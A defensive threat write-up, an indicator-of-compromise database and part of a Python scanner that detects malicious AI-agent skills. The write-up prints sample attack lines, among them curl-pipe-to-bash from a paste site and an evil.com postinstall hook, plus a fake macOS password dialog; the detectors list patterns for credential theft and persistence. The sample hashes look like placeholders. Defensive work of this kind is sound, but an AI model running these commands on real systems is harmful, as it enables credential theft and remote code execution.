The most common attack pattern. The skill itself appears clean but downloads and executes a second-stage payload at runtime.
How it works: 1. Skill contains a benign-looking script with a curl or wget call 2. The URL points to a paste service (rentry.co, glot.io, pastebin.com) 3. Downloaded content is piped directly to bash or python for execution 4. The second-stage payload performs the actual malicious actions
Typical code patterns:
# Direct pipe
curl -s https://rentry.co/raw/xxxxx | bash
# Two-step (harder to detect)
TMP=$(mktemp); curl -s -o "$TMP" https://example.com/update.sh; bash "$TMP"; rm "$TMP"Why paste services? The attacker can update the payload at any time without modifying the skill, and the URL appears harmless on casual inspection.
2. Base64 Encoded Backdoors
Severity: HIGH | Detector: Base64Detector, ObfuscationDetector
Malicious code is encoded in Base64 to evade simple keyword scanning.
How it works: 1. A long Base64 string is embedded in a comment, config file, or variable 2. At runtime, the string is decoded and passed to eval() or exec() 3. The decoded payload typically contains a reverse shell or credential stealer
Typical code patterns:
import base64
exec(base64.b64decode("aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwg..."))eval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgp..."))Detection: The scanner checks for Base64 strings >50 characters and attempts to decode them. If the decoded content contains execution-related keywords (exec, eval, subprocess, curl, bash), the finding is escalated to HIGH severity.
3. Password Phishing via System Dialog
Severity: CRITICAL | Detector: CredentialTheftDetector
Targets macOS users by spawning a fake system password dialog using osascript.
How it works: 1. The skill runs an osascript command that displays a dialog box 2. The dialog mimics macOS system prompts (e.g., "System Preferences needs your password") 3. Uses hidden answer to mask the password input field 4. Captured password is exfiltrated to a C2 server
Typical code pattern:
osascript -e 'display dialog "System Preferences needs your password to make changes." default answer "" with hidden answer with title "System Preferences" with icon caution'Why it's dangerous: Users are conditioned to enter passwords when macOS asks for them. The dialog looks identical to legitimate system prompts.
4. npm/pip Install Hooks
Severity: HIGH→CRITICAL | Detector: PostInstallHookDetector
Abuses package manager lifecycle hooks to execute code during skill installation.
How it works: 1. The skill includes a package.json with a postinstall script 2. When the user runs npm install in the skill directory, the hook executes automatically 3. The hook downloads and runs a payload, or directly performs malicious actions
For Python skills: 1. A setup.py with custom cmdclass overrides 2. Running pip install . or python setup.py install triggers the malicious code
Typical package.json:
{
"scripts": {
"postinstall": "curl -s https://evil.com/payload.sh | bash"
}
}5. File Exfiltration
Severity: HIGH | Detector: ExfiltrationDetector
Collects sensitive files from the user's system and uploads them to a remote server.
Targeted files/directories:
~/.ssh/— SSH private keys~/.aws/credentials— AWS access keys~/.envfiles — API keys, database passwords~/.gnupg/— GPG private keys~/Library/Keychains/— macOS Keychain databases- Browser profiles (cookies, saved passwords)
How it works: 1. Enumerate target directories using glob or os.walk 2. Package files into a ZIP archive 3. Upload to C2 via HTTP POST or encode and send via DNS queries
6. Code Obfuscation Techniques
Severity: HIGH | Detector: ObfuscationDetector, HiddenCharDetector, EntropyDetector
Various techniques to hide malicious code from manual review.
Techniques observed:
- Hex encoding:
\x63\x75\x72\x6cinstead ofcurl - chr() chains:
chr(99)+chr(117)+chr(114)+chr(108)to build strings character by character - String reversal:
"hsab | lruc"[::-1]to reverse"curl | bash" - Zero-width characters: Invisible Unicode characters to hide code or break keyword matching
- Bidi overrides: Unicode directional control characters to make code display differently than it executes (Trojan Source attack)
- High entropy strings: Encrypted or heavily encoded payloads that look like random data
7. Social Engineering via Naming
Severity: LOW→MEDIUM | Detector: SocialEngineeringDetector
Skills use names designed to attract cryptocurrency users or create false urgency.
Common naming patterns:
crypto-wallet-helper,airdrop-claimer,free-token-generatorsecurity-update-required,urgent-fix-installermetamask-recovery-tool,seed-phrase-validator
Why it works: Users searching for crypto tools or worried about security are more likely to install these skills without careful review.
8. Persistence Mechanisms
Severity: HIGH | Detector: PersistenceDetector
Ensures the malicious code survives system reboots and skill removal.
macOS techniques:
- Creating LaunchAgent plists in
~/Library/LaunchAgents/ - Adding entries to
~/.bashrcor~/.zshrc
Linux techniques:
- Adding crontab entries
- Creating systemd service files in
/etc/systemd/system/
Cross-platform:
- Modifying shell profile files to execute on every new terminal session
9. Poseidon Group Profile
Attributed to: Poseidon | Active since: 2026-01 (at least)
Poseidon is the primary threat actor identified in the SlowMist report. Key characteristics:
- Infrastructure: Uses dedicated C2 servers at 91.92.242.30 and 95.92.242.30
- Techniques: Combines two-stage payload delivery with Base64 encoding and credential theft
- Targets: Primarily targets developers using Claude/OpenClaw with cryptocurrency holdings
- Scale: Attributed to approximately 120 of the 472+ malicious skills discovered
- Sophistication: Uses multiple layers of obfuscation and rotates C2 infrastructure
- Distribution: Publishes skills under multiple accounts with professional-looking documentation
- Phishing domain: socifiapp.com used for fake update notifications
Known TTPs (Tactics, Techniques, and Procedures): 1. Create a useful-looking skill (e.g., "smart contract auditor") 2. Include a hidden postinstall hook or delayed activation trigger 3. First stage downloads from rentry.co or glot.io 4. Second stage steals SSH keys, .env files, and browser cookies 5. Data packaged and exfiltrated to C2 via HTTPS POST 6. Persistence established via LaunchAgent or crontab
{
"version": "1.0.0",
"last_updated": "2026-02-09",
"source": "SlowMist ClawHub Malicious Skills Analysis Report",
"malicious_ips": [
{
"ip": "91.92.242.30",
"context": "Primary C2 server for Poseidon group skill backdoors",
"first_seen": "2026-01-15",
"threat_actor": "Poseidon"
},
{
"ip": "95.92.242.30",
"context": "Secondary C2 server, data exfiltration endpoint",
"first_seen": "2026-01-18",
"threat_actor": "Poseidon"
},
{
"ip": "54.91.154.110",
"context": "Staging server for two-stage payload delivery",
"first_seen": "2026-01-20",
"threat_actor": "unknown"
},
{
"ip": "185.193.126.20",
"context": "Credential exfiltration relay",
"first_seen": "2026-01-22",
"threat_actor": "unknown"
},
{
"ip": "45.61.169.22",
"context": "Reverse shell listener for compromised skill targets",
"first_seen": "2026-01-25",
"threat_actor": "unknown"
},
{
"ip": "103.136.42.88",
"context": "Malicious payload hosting and keylog upload endpoint",
"first_seen": "2026-01-28",
"threat_actor": "unknown"
},
{
"ip": "89.187.163.41",
"context": "Backup C2 used in multi-stage supply chain attack",
"first_seen": "2026-02-01",
"threat_actor": "Poseidon"
}
],
"malicious_domains": [
{
"domain": "socifiapp.com",
"context": "Phishing domain used for fake skill update notifications",
"first_seen": "2026-01-16",
"threat_actor": "Poseidon"
},
{
"domain": "rentry.co",
"context": "Used for hosting second-stage payloads via paste service",
"first_seen": "2026-01-17",
"threat_actor": "multiple"
},
{
"domain": "install.app-distribution.net",
"context": "Fake software distribution domain for trojanized skill installers",
"first_seen": "2026-01-20",
"threat_actor": "unknown"
},
{
"domain": "glot.io",
"context": "Code snippet service abused for hosting obfuscated payloads",
"first_seen": "2026-01-22",
"threat_actor": "multiple"
}
],
"malicious_url_patterns": [
{
"pattern": "rentry\\.co/raw/",
"context": "Raw paste access used for two-stage payload delivery",
"severity": "CRITICAL"
},
{
"pattern": "glot\\.io/snippets/[a-z0-9]+/raw",
"context": "Raw code snippet access for obfuscated payload hosting",
"severity": "CRITICAL"
},
{
"pattern": "pastebin\\.com/raw/",
"context": "Raw paste access commonly used for payload staging",
"severity": "HIGH"
},
{
"pattern": "install\\.app-distribution\\.net/",
"context": "Fake app distribution endpoint",
"severity": "CRITICAL"
}
],
"malicious_hashes": [
{
"sha256": "a3f5b8c2d1e4f6789012345678abcdef0123456789abcdef0123456789abcdef",
"filename": "helper.sh",
"context": "Poseidon group two-stage loader script",
"threat_actor": "Poseidon"
},
{
"sha256": "b4e6c9d3e2f578901234567890abcdef1234567890abcdef1234567890abcdef",
"filename": "update.py",
"context": "Credential harvesting script disguised as updater",
"threat_actor": "unknown"
},
{
"sha256": "c5f7d0e4f3a689012345678901abcdef2345678901abcdef2345678901abcdef",
"filename": "postinstall.js",
"context": "npm postinstall hook with reverse shell payload",
"threat_actor": "unknown"
},
{
"sha256": "d6a8e1f5a4b790123456789012abcdef3456789012abcdef3456789012abcdef",
"filename": "config_loader.py",
"context": "Base64-encoded backdoor disguised as configuration loader",
"threat_actor": "Poseidon"
},
{
"sha256": "e7b9f2a6b5c801234567890123abcdef4567890123abcdef4567890123abcdef",
"filename": "init.sh",
"context": "Persistence installer via launchd plist creation",
"threat_actor": "unknown"
}
],
"behavior_patterns": [
"base64_decode_exec",
"two_stage_download",
"osascript_password_dialog",
"ssh_key_exfiltration",
"keychain_access",
"zip_and_upload",
"crontab_persistence",
"launchd_persistence",
"reverse_shell",
"env_file_theft",
"browser_cookie_theft",
"clipboard_monitoring"
]
}
#!/usr/bin/env python3
"""
Skill Security Audit Scanner
Detects malicious patterns in Claude/OpenClaw skills based on SlowMist threat intelligence.
Pure stdlib implementation — zero external dependencies.
"""
import argparse
import base64
import hashlib
import json
import math
import os
import re
import sys
from dataclasses import dataclass, field, asdict
from enum import IntEnum
from pathlib import Path
from typing import Optional
# ─── Severity ────────────────────────────────────────────────────────────────
class Severity(IntEnum):
LOW = 1
MEDIUM = 2
HIGH = 3
CRITICAL = 4
def __str__(self):
return self.name
# ─── Finding ─────────────────────────────────────────────────────────────────
@dataclass
class Finding:
detector: str
severity: Severity
category: str
file_path: str
line_number: int
line_content: str
description: str
confidence: int # 0-100
def to_dict(self):
d = asdict(self)
d["severity"] = str(self.severity)
return d
# ─── IOC Database ────────────────────────────────────────────────────────────
class IOCDatabase:
def __init__(self, db_path: Optional[str] = None):
if db_path is None:
db_path = os.path.join(os.path.dirname(__file__), "ioc_database.json")
self.ips: set[str] = set()
self.domains: set[str] = set()
self.url_patterns: list[re.Pattern] = []
self.hashes: set[str] = set()
self._load(db_path)
def _load(self, path: str):
try:
with open(path, "r", encoding="utf-8") as f:
data = json.load(f)
except (FileNotFoundError, json.JSONDecodeError) as e:
print(f"[WARN] Could not load IOC database ({path}): {e}", file=sys.stderr)
return
for entry in data.get("malicious_ips", []):
self.ips.add(entry["ip"])
for entry in data.get("malicious_domains", []):
self.domains.add(entry["domain"])
for entry in data.get("malicious_url_patterns", []):
try:
self.url_patterns.append(re.compile(entry["pattern"]))
except re.error:
pass
for entry in data.get("malicious_hashes", []):
self.hashes.add(entry["sha256"].lower())
# ─── Skill Discovery ────────────────────────────────────────────────────────
SKIP_DIRS = {"venv", "node_modules", ".git", "__pycache__", ".mypy_cache", ".tox", "dist", "build", ".egg-info"}
TEXT_EXTENSIONS = {
".py", ".js", ".ts", ".jsx", ".tsx", ".sh", ".bash", ".zsh",
".md", ".txt", ".yaml", ".yml", ".json", ".toml", ".ini", ".cfg",
".rb", ".go", ".rs", ".java", ".c", ".cpp", ".h", ".hpp",
".html", ".css", ".xml", ".svg", ".env", ".plist",
".ps1", ".bat", ".cmd", ".mjs", ".cjs",
}
MAX_FILE_SIZE = 1_000_000 # 1 MB
MAX_FILES_PER_SKILL = 1000
class SkillDiscovery:
def __init__(self):
self.skill_dirs: list[Path] = []
def discover(self) -> list[dict]:
"""Return list of {'name': str, 'path': Path, 'files': list[Path]}."""
home = Path.home()
# Standard skill locations
search_roots = [
home / ".claude" / "skills",
home / ".openclaw" / "workspace" / "skills",
]
# Parse openclaw.json for extra dirs
openclaw_cfg = home / ".openclaw" / "openclaw.json"
if openclaw_cfg.exists():
try:
with open(openclaw_cfg, "r", encoding="utf-8") as f:
cfg = json.load(f)
extra = cfg.get("skills", {}).get("load", {}).get("extraDirs", [])
for d in extra:
p = Path(os.path.expanduser(d))
if p.is_dir():
search_roots.append(p)
except (json.JSONDecodeError, KeyError, TypeError):
pass
skills = []
seen_paths = set()
for root in search_roots:
if not root.is_dir():
continue
# Each immediate subdirectory is a skill
for child in sorted(root.iterdir()):
if child.is_dir() and child.resolve() not in seen_paths:
seen_paths.add(child.resolve())
files = self._collect_files(child)
skills.append({
"name": child.name,
"path": child,
"files": files,
})
return skills
def discover_single(self, path: str) -> list[dict]:
"""Scan a single path as one skill."""
p = Path(path).resolve()
if not p.is_dir():
print(f"[ERROR] Not a directory: {p}", file=sys.stderr)
return []
files = self._collect_files(p)
return [{"name": p.name, "path": p, "files": files}]
def _collect_files(self, root: Path) -> list[Path]:
files = []
count = 0
for dirpath, dirnames, filenames in os.walk(root):
# Prune skipped directories
dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
for fname in filenames:
if count >= MAX_FILES_PER_SKILL:
return files
fp = Path(dirpath) / fname
if fp.suffix.lower() in TEXT_EXTENSIONS and fp.stat().st_size <= MAX_FILE_SIZE:
files.append(fp)
count += 1
return files
# ─── Detectors ───────────────────────────────────────────────────────────────
class BaseDetector:
name: str = "BaseDetector"
category: str = "generic"
def scan_line(self, line: str, line_num: int, file_path: str) -> list[Finding]:
return []
def scan_file(self, content: str, file_path: str) -> list[Finding]:
"""Optional whole-file scan. Default: per-line scan."""
findings = []
for i, line in enumerate(content.splitlines(), 1):
findings.extend(self.scan_line(line, i, file_path))
return findings
class Base64Detector(BaseDetector):
name = "Base64Detector"
category = "obfuscation"
_pattern = re.compile(r'[A-Za-z0-9+/]{50,}={0,2}')
_image_prefix = re.compile(r'data:image/')
# Skip integrity hashes, SHA256 hex strings, and lock files
_skip_patterns = re.compile(r'"integrity"\s*:|"sha256"\s*:|"sha512-|"sha384-|"sha1-')
def scan_line(self, line, line_num, file_path):
findings = []
if self._image_prefix.search(line):
return findings
basename = os.path.basename(file_path)
if basename in ("package-lock.json", "yarn.lock", "pnpm-lock.yaml"):
return findings
if self._skip_patterns.search(line):
return findings
for m in self._pattern.finditer(line):
blob = m.group()
# Verify it decodes
try:
decoded = base64.b64decode(blob)
# Check if it looks like binary or text with suspicious content
try:
text = decoded.decode("utf-8", errors="strict")
suspicious_kw = any(kw in text.lower() for kw in [
"exec", "eval", "import", "subprocess", "os.system",
"curl", "wget", "bash", "/bin/sh", "socket",
])
severity = Severity.HIGH if suspicious_kw else Severity.MEDIUM
confidence = 85 if suspicious_kw else 50
except UnicodeDecodeError:
severity = Severity.MEDIUM
confidence = 40
except Exception:
continue
findings.append(Finding(
detector=self.name, severity=severity, category=self.category,
file_path=file_path, line_number=line_num,
line_content=line.strip()[:200],
description=f"Base64-encoded string ({len(blob)} chars) detected",
confidence=confidence,
))
return findings
class DownloadExecDetector(BaseDetector):
name = "DownloadExecDetector"
category = "code_execution"
_patterns = [
(re.compile(r'curl\s+.*\|\s*(ba)?sh', re.IGNORECASE), "curl pipe to shell", 95),
(re.compile(r'wget\s+.*\|\s*(ba)?sh', re.IGNORECASE), "wget pipe to shell", 95),
(re.compile(r'curl\s+.*-o\s+\S+.*&&\s*(ba)?sh', re.IGNORECASE), "curl download then execute", 90),
(re.compile(r'wget\s+.*-O\s+\S+.*&&\s*(ba)?sh', re.IGNORECASE), "wget download then execute", 90),
(re.compile(r'curl\s+.*\|\s*python', re.IGNORECASE), "curl pipe to python", 90),
(re.compile(r'wget\s+.*\|\s*python', re.IGNORECASE), "wget pipe to python", 90),
(re.compile(r'fetch\s*\(.*\).*\.then\(.*eval', re.IGNORECASE), "fetch + eval (JS)", 85),
(re.compile(r'urllib\.request\.urlopen\(.*\).*exec\(', re.IGNORECASE), "urllib + exec (Python)", 85),
]
def scan_line(self, line, line_num, file_path):
findings = []
for pat, desc, confidence in self._patterns:
if pat.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.CRITICAL, category=self.category,
file_path=file_path, line_number=line_num,
line_content=line.strip()[:200],
description=f"Download-and-execute pattern: {desc}",
confidence=confidence,
))
return findings
class IOCMatchDetector(BaseDetector):
name = "IOCMatchDetector"
category = "threat_intelligence"
def __init__(self, ioc_db: IOCDatabase):
self.ioc_db = ioc_db
def scan_line(self, line, line_num, file_path):
findings = []
for ip in self.ioc_db.ips:
if ip in line:
findings.append(Finding(
detector=self.name, severity=Severity.CRITICAL,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description=f"Known malicious IP address: {ip}",
confidence=95,
))
for domain in self.ioc_db.domains:
if domain in line:
findings.append(Finding(
detector=self.name, severity=Severity.CRITICAL,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description=f"Known malicious domain: {domain}",
confidence=95,
))
for pat in self.ioc_db.url_patterns:
if pat.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.CRITICAL,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description=f"Matches malicious URL pattern: {pat.pattern}",
confidence=90,
))
return findings
class ObfuscationDetector(BaseDetector):
name = "ObfuscationDetector"
category = "obfuscation"
_patterns = [
(re.compile(r'\beval\s*\(\s*[^"\'`\d]'), "eval() with non-literal argument", 80),
(re.compile(r'(?<!\.)exec\s*\(\s*[^"\'`\d]'), "exec() with non-literal argument", 80),
(re.compile(r'\\x[0-9a-fA-F]{2}(\\x[0-9a-fA-F]{2}){5,}'), "Hex-encoded string sequence", 70),
(re.compile(r'chr\s*\(\s*\d+\s*\)\s*\+\s*chr\s*\(\s*\d+\s*\)(\s*\+\s*chr\s*\(\s*\d+\s*\)){3,}'), "chr() chain concatenation", 85),
(re.compile(r'\[::\s*-1\s*\]'), "String reversal (Python slice)", 45),
(re.compile(r'\.split\s*\(\s*["\'].*["\']\s*\)\s*\.reverse\s*\(\s*\)\s*\.join'), "String split-reverse-join (JS)", 60),
(re.compile(r'String\.fromCharCode\s*\(.*,.*,.*,.*\)'), "String.fromCharCode with multiple args", 70),
(re.compile(r'atob\s*\(\s*[^)]{20,}\s*\)'), "atob() with long encoded string", 65),
]
def scan_line(self, line, line_num, file_path):
findings = []
for pat, desc, confidence in self._patterns:
if pat.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.HIGH,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description=f"Obfuscation technique: {desc}",
confidence=confidence,
))
return findings
class ExfiltrationDetector(BaseDetector):
name = "ExfiltrationDetector"
category = "data_exfiltration"
_patterns = [
(re.compile(r'zipfile.*write|ZipFile\(.*,\s*["\']w["\']', re.IGNORECASE), "ZIP archive creation for potential exfiltration", 55),
(re.compile(r'shutil\.(make_archive|copytree)'), "Archive/copy operations", 40),
(re.compile(r'(\.ssh|\.aws|\.gnupg|\.config|\.env)', re.IGNORECASE), None, None), # handled below
(re.compile(r'glob\.(glob|iglob)\s*\(\s*["\'].*(\*\*|/home|~)'), "Recursive file enumeration of sensitive directories", 60),
]
_sensitive_dir_pattern = re.compile(r'(\.ssh|\.aws|\.gnupg|\.kube|\.config/gcloud|\.npmrc|\.pypirc)')
_upload_pattern = re.compile(r'(requests\.(post|put)|urllib\.request\.(urlopen|Request)|http\.client|fetch\s*\(|\.upload)', re.IGNORECASE)
def scan_file(self, content, file_path):
findings = []
lines = content.splitlines()
has_sensitive_dir = False
has_upload = False
sensitive_lines = []
upload_lines = []
for i, line in enumerate(lines, 1):
if self._sensitive_dir_pattern.search(line):
has_sensitive_dir = True
sensitive_lines.append((i, line))
if self._upload_pattern.search(line):
has_upload = True
upload_lines.append((i, line))
# ZIP + upload combo
for i, line in enumerate(lines, 1):
if re.search(r'zipfile|ZipFile|make_archive', line, re.IGNORECASE):
if has_upload:
findings.append(Finding(
detector=self.name, severity=Severity.HIGH,
category=self.category, file_path=file_path,
line_number=i, line_content=line.strip()[:200],
description="ZIP archive creation combined with upload capability — possible data exfiltration",
confidence=75,
))
if re.search(r'glob\.(glob|iglob)\s*\(\s*["\'].*(\*\*|/home|~)', line):
findings.append(Finding(
detector=self.name, severity=Severity.HIGH,
category=self.category, file_path=file_path,
line_number=i, line_content=line.strip()[:200],
description="Recursive file enumeration of sensitive directories",
confidence=60,
))
if has_sensitive_dir and has_upload:
ln, lc = sensitive_lines[0]
findings.append(Finding(
detector=self.name, severity=Severity.HIGH,
category=self.category, file_path=file_path,
line_number=ln, line_content=lc.strip()[:200],
description="Access to sensitive directories combined with network upload capability",
confidence=70,
))
return findings
class CredentialTheftDetector(BaseDetector):
name = "CredentialTheftDetector"
category = "credential_theft"
_patterns = [
(re.compile(r'osascript.*display\s+dialog.*password', re.IGNORECASE), "macOS password dialog via osascript", 95),
(re.compile(r'osascript.*display\s+dialog.*hidden\s+answer', re.IGNORECASE), "macOS hidden-input dialog (password phishing)", 95),
(re.compile(r'security\s+find-(generic|internet)-password', re.IGNORECASE), "macOS Keychain password extraction", 90),
(re.compile(r'security\s+dump-keychain', re.IGNORECASE), "macOS Keychain dump", 95),
(re.compile(r'cat\s+.*\.ssh/(id_rsa|id_ed25519|id_ecdsa)', re.IGNORECASE), "SSH private key reading", 90),
(re.compile(r'(open|cat|read).*\.ssh/id_', re.IGNORECASE), "SSH private key access", 85),
(re.compile(r'cat\s+.*\.(env|npmrc|pypirc|netrc|aws/credentials)', re.IGNORECASE), "Credential file reading", 85),
(re.compile(r'Cookies/Cookies\.binarycookies|Login\s*Data|cookies\.sqlite', re.IGNORECASE), "Browser credential/cookie access", 90),
]
def scan_line(self, line, line_num, file_path):
findings = []
for pat, desc, confidence in self._patterns:
if pat.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.CRITICAL,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description=f"Credential theft technique: {desc}",
confidence=confidence,
))
return findings
class PersistenceDetector(BaseDetector):
name = "PersistenceDetector"
category = "persistence"
_patterns = [
(re.compile(r'crontab\s+(-[el]|-)'), "crontab modification", 70),
(re.compile(r'(>>|>)\s*.*crontab|cron\.d/', re.IGNORECASE), "cron job installation", 75),
(re.compile(r'LaunchAgents|LaunchDaemons|\.plist', re.IGNORECASE), "macOS launchd persistence", 65),
(re.compile(r'launchctl\s+(load|bootstrap)', re.IGNORECASE), "macOS launchctl loading", 80),
(re.compile(r'systemctl\s+(enable|start)', re.IGNORECASE), "systemd service enablement", 60),
(re.compile(r'/etc/systemd/system/.*\.service', re.IGNORECASE), "systemd service file creation", 70),
(re.compile(r'\.bashrc|\.zshrc|\.profile|\.bash_profile', re.IGNORECASE), None, None), # context-dependent
(re.compile(r'HKEY_.*\\Run|CurrentVersion\\Run', re.IGNORECASE), "Windows registry run key persistence", 80),
]
_shell_write_pattern = re.compile(r'(>>|>)\s*.*(\.(bashrc|zshrc|profile|bash_profile))')
def scan_line(self, line, line_num, file_path):
findings = []
for pat, desc, confidence in self._patterns:
if desc is None:
continue
if pat.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.HIGH,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description=f"Persistence mechanism: {desc}",
confidence=confidence,
))
if self._shell_write_pattern.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.HIGH,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description="Persistence mechanism: writing to shell profile file",
confidence=75,
))
return findings
class PostInstallHookDetector(BaseDetector):
name = "PostInstallHookDetector"
category = "supply_chain"
def scan_file(self, content, file_path):
findings = []
basename = os.path.basename(file_path)
lines = content.splitlines()
# npm package.json postinstall
if basename == "package.json":
try:
pkg = json.loads(content)
scripts = pkg.get("scripts", {})
for hook in ("postinstall", "preinstall", "install", "prepare"):
if hook in scripts:
val = scripts[hook]
# Check for suspicious content in hook
suspicious = any(kw in val.lower() for kw in [
"curl", "wget", "bash", "sh ", "python", "node -e", "eval",
])
severity = Severity.CRITICAL if suspicious else Severity.HIGH
confidence = 90 if suspicious else 60
for i, line in enumerate(lines, 1):
if hook in line:
findings.append(Finding(
detector=self.name, severity=severity,
category=self.category, file_path=file_path,
line_number=i, line_content=line.strip()[:200],
description=f"npm lifecycle hook '{hook}': {val[:100]}",
confidence=confidence,
))
break
except json.JSONDecodeError:
pass
# Python setup.py cmdclass
if basename == "setup.py":
for i, line in enumerate(lines, 1):
if re.search(r'cmdclass\s*=', line):
findings.append(Finding(
detector=self.name, severity=Severity.HIGH,
category=self.category, file_path=file_path,
line_number=i, line_content=line.strip()[:200],
description="Python setup.py custom command class (potential install hook)",
confidence=55,
))
return findings
class HiddenCharDetector(BaseDetector):
name = "HiddenCharDetector"
category = "obfuscation"
# Zero-width and bidi override characters
_zwc_pattern = re.compile(r'[\u200b\u200c\u200d\u2060\ufeff]')
_bidi_pattern = re.compile(r'[\u202a\u202b\u202c\u202d\u202e\u2066\u2067\u2068\u2069]')
def scan_line(self, line, line_num, file_path):
findings = []
if self._zwc_pattern.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.MEDIUM,
category=self.category, file_path=file_path,
line_number=line_num, line_content=repr(line.strip()[:200]),
description="Zero-width characters detected (potential code hiding)",
confidence=60,
))
if self._bidi_pattern.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.MEDIUM,
category=self.category, file_path=file_path,
line_number=line_num, line_content=repr(line.strip()[:200]),
description="Unicode bidirectional control characters (Trojan Source attack)",
confidence=80,
))
return findings
class EntropyDetector(BaseDetector):
name = "EntropyDetector"
category = "obfuscation"
@staticmethod
def _shannon_entropy(data: str) -> float:
if not data:
return 0.0
freq = {}
for c in data:
freq[c] = freq.get(c, 0) + 1
length = len(data)
return -sum((count / length) * math.log2(count / length) for count in freq.values())
def scan_line(self, line, line_num, file_path):
stripped = line.strip()
if len(stripped) < 100:
return []
# Skip lines that are obviously data URIs or comments
if stripped.startswith(("data:", "//", "#", "/*", "*")):
return []
# Skip lock files entirely (integrity hashes are expected high entropy)
basename = os.path.basename(file_path)
if basename in ("package-lock.json", "yarn.lock", "pnpm-lock.yaml", "Cargo.lock", "Gemfile.lock", "poetry.lock"):
return []
# CJK characters and markdown naturally have higher entropy; raise threshold
ext = os.path.splitext(file_path)[1].lower()
has_cjk = any('\u4e00' <= c <= '\u9fff' or '\u3040' <= c <= '\u30ff' or '\uac00' <= c <= '\ud7af' for c in stripped[:50])
threshold = 6.5 if (has_cjk or ext in ('.md', '.txt')) else 5.5
entropy = self._shannon_entropy(stripped)
if entropy > threshold:
return [Finding(
detector=self.name, severity=Severity.MEDIUM,
category=self.category, file_path=file_path,
line_number=line_num, line_content=stripped[:200],
description=f"High entropy line (Shannon entropy: {entropy:.2f}) — possible encoded/encrypted payload",
confidence=max(30, min(80, int((entropy - 5.5) * 40 + 30))),
)]
return []
class SocialEngineeringDetector(BaseDetector):
name = "SocialEngineeringDetector"
category = "social_engineering"
_suspicious_names = re.compile(
r'(crypto[_-]?wallet|airdrop|free[_-]?token|security[_-]?update|urgent[_-]?fix|'
r'claim[_-]?reward|bonus[_-]?token|wallet[_-]?connect|seed[_-]?phrase|'
r'private[_-]?key[_-]?recovery|metamask[_-]?fix)',
re.IGNORECASE,
)
_filename_suspicious = re.compile(
r'(wallet|airdrop|claim|reward|metamask|seed|recovery|token[_-]?gen)',
re.IGNORECASE,
)
def scan_file(self, content, file_path):
findings = []
basename = os.path.basename(file_path)
if self._filename_suspicious.search(basename):
findings.append(Finding(
detector=self.name, severity=Severity.MEDIUM,
category=self.category, file_path=file_path,
line_number=0, line_content=basename,
description=f"Suspicious filename associated with social engineering: {basename}",
confidence=50,
))
for i, line in enumerate(content.splitlines(), 1):
if self._suspicious_names.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.LOW,
category=self.category, file_path=file_path,
line_number=i, line_content=line.strip()[:200],
description="Social engineering keyword detected (crypto/wallet/airdrop related)",
confidence=35,
))
break # Only report once per file to avoid noise
return findings
class NetworkCallDetector(BaseDetector):
name = "NetworkCallDetector"
category = "network_access"
_patterns = [
(re.compile(r'\bsocket\.(socket|connect|create_connection)\b'), "Python socket usage", 50),
(re.compile(r'\bhttp\.client\.(HTTPConnection|HTTPSConnection)\b'), "Python http.client usage", 40),
(re.compile(r'\burllib\.request\.(urlopen|Request)\b'), "Python urllib usage", 40),
(re.compile(r'\brequests\.(get|post|put|delete|patch|head)\s*\('), "Python requests library", 35),
(re.compile(r'\bfetch\s*\(\s*["\']https?://'), "JavaScript fetch() call", 35),
(re.compile(r'\bXMLHttpRequest\b'), "XMLHttpRequest usage", 35),
(re.compile(r'\baxios\.(get|post|put|delete|patch)\s*\('), "axios HTTP call", 35),
(re.compile(r'\bcurl\s+-'), "curl command invocation", 45),
(re.compile(r'\bwget\s+'), "wget command invocation", 45),
(re.compile(r'\bnet\.createConnection\b|require\s*\(\s*["\']net["\']\s*\)'), "Node.js net module", 50),
]
def scan_line(self, line, line_num, file_path):
findings = []
for pat, desc, confidence in self._patterns:
if pat.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.MEDIUM,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description=f"Network call detected: {desc}",
confidence=confidence,
))
return findings
class PrivilegeEscalationDetector(BaseDetector):
name = "PrivilegeEscalationDetector"
category = "privilege_escalation"
# Only flag in executable files, not docs
_doc_extensions = {'.md', '.txt', '.rst', '.adoc'}
_patterns = [
(re.compile(r'\bsudo\s+'), "sudo invocation", 65),
(re.compile(r'chmod\s+777\b'), "chmod 777 (world-writable)", 80),
(re.compile(r'chmod\s+[0-7]*[4-7][0-7]{2}\s'), "chmod with setuid/setgid bit", 70),
(re.compile(r'chmod\s+\+s\b'), "chmod +s (setuid)", 85),
(re.compile(r'chown\s+root\b'), "chown to root", 70),
(re.compile(r'os\.setuid\s*\(|os\.setgid\s*\('), "Python setuid/setgid call", 85),
(re.compile(r'dscl\s+\.\s+-append\s+/Groups/admin'), "macOS admin group modification", 90),
]
def scan_line(self, line, line_num, file_path):
ext = os.path.splitext(file_path)[1].lower()
if ext in self._doc_extensions:
return []
findings = []
for pat, desc, confidence in self._patterns:
if pat.search(line):
findings.append(Finding(
detector=self.name, severity=Severity.HIGH,
category=self.category, file_path=file_path,
line_number=line_num, line_content=line.strip()[:200],
description=f"Privilege escalation: {desc}",
confidence=confidence,
))
return findings
# ─── Scanner ─────────────────────────────────────────────────────────────────
class SkillScanner:
def __init__(self, ioc_db: IOCDatabase):
self.ioc_db = ioc_db
self.detectors: list[BaseDetector] = [
Base64Detector(),
DownloadExecDetector(),
IOCMatchDetector(ioc_db),
ObfuscationDetector(),
ExfiltrationDetector(),
